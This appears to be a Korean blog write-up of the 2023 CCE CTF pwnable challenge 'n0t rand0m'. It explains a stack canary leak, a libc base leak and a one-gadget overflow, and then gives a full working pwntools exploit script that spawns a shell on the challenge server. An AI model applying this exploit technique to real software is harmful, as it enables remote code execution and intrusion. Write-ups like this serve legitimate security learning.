본문 바로가기
CTF/2023 CCE

n0t rand0m - Pwnable

by p6rkdoye0n 2023. 6. 26.

 

 

 

2023 CCE pwnble 문제이다.

문제에서는 바이너리와 libc 파일만 주었다.

 

위의 코드에서 랜덤 수들은 원하는 숫자가 나올 때까지 돌릴 수 있다. buf와 s배열을 붙이고 인자에 buf를 넣고 strlen함수를 실행하면 buf크기 + s크기를 nbytes에다가 넣을 수 있다. case 3에서 bof가 일어나므로 canary를 릭할 수 있다.

 

canary를 릭한 뒤 이번에는 buf크기 + s크기 + canary크기까지를 nbytes에 저장하고 이번에는 sfp까지 bof로 값을 채운다. 그리고 다시 nbytes + sfp크기를 nbytes에 저장하여 nbytes의 값을 49까지 만든다. 그리고 이번에는 libc base 주소를 구하기 위해 libc_start_call_main 주소를 릭한다.  

 

 

 

 

해당 주소와 libc base와의 오프셋은 0x29d90이므로 libc base 주소와 원 가젯 주소를 구할 수 있다. case 7에 있는 함수에서 bof를 이용하여 원가젯주소로 실행흐름을 옮기겠다.


원가젯 주소의 null바이트를 위하여 dummy값들은 b”\x00”으로 채운다. 이렇게 되면 쉘을 획득할 수 있다.

 

아래는 공격 코드이다.

 

from pwn import *
import time

#p = process("./n0t_rand0m")
p = remote("20.196.192.95", 8888)
e = ELF("./n0t_rand0m")
libc = ELF("./libc.so.6")


one_gadget = [0x50a37, 0xebcf1, 0xebcf5, 0xebcf8]

#gdb.attach(p)
#context.log_level = 'debug'

def choose(k):

    rn = ''

    while True:
        p.recvuntil("random number : ")
        rn = p.recvline()[:-1]
        print(rn)

        if rn == k:
            p.sendafter("continue? (yes or no)", b'no')
            break
        else:  
            p.sendafter("continue? (yes or no)", b'yes')
            continue


def log(n, m): return success(": ".join([n, hex(m)]))


#nbytes = 32
p.sendafter("?", b'A'*0x8)
p.sendafter("write comment", b"A"*0x18)

choose(b"6")


#cnr_leak
choose(b"3")
cnr_leak = b'A'*25
p.sendafter("comment", cnr_leak)
choose(b"1")
p.recvuntil(cnr_leak)

cnr = u64(b'\x00' + p.recv(7))
log("cnr", cnr)


#nbytes = 41
choose(b"6")

#nbytes = 49
choose(b"3")
p.sendafter("comment", b'A'*0x18 + p64(cnr) + b'A'*8)
choose(b"3")
p.sendafter("comment", b'A'*0x19)
choose(b"6")

#/bin/sh
choose(b"3")
p.sendafter("comment", b"/bin/sh\x00"*3)

#libc_start_main
choose(b"3")
p.sendafter("comment", b'A'*32)
choose(b"1")
p.recv()
print(p.recvuntil(b"A"*40))

main = u64(p.recv(6) + b'\x00'*2)
lb = main - 0x29d90
pop_rdi = lb + 0x000000000002a3e5 
onegadget = lb + one_gadget[0]

log("main", main)
log("lb", lb)
log("pop_rdi", pop_rdi)
log("onegadget", onegadget)

choose(b"7")
p.sendafter("name", b"/bin/sh\x00")

payload = b'\x00'*0x18
payload += p64(cnr)
payload += b'\x00'*0x8
payload += p64(onegadget)

p.sendafter("?", payload)

p.interactive()

 

쉘을 획득하여 flag를 얻었다.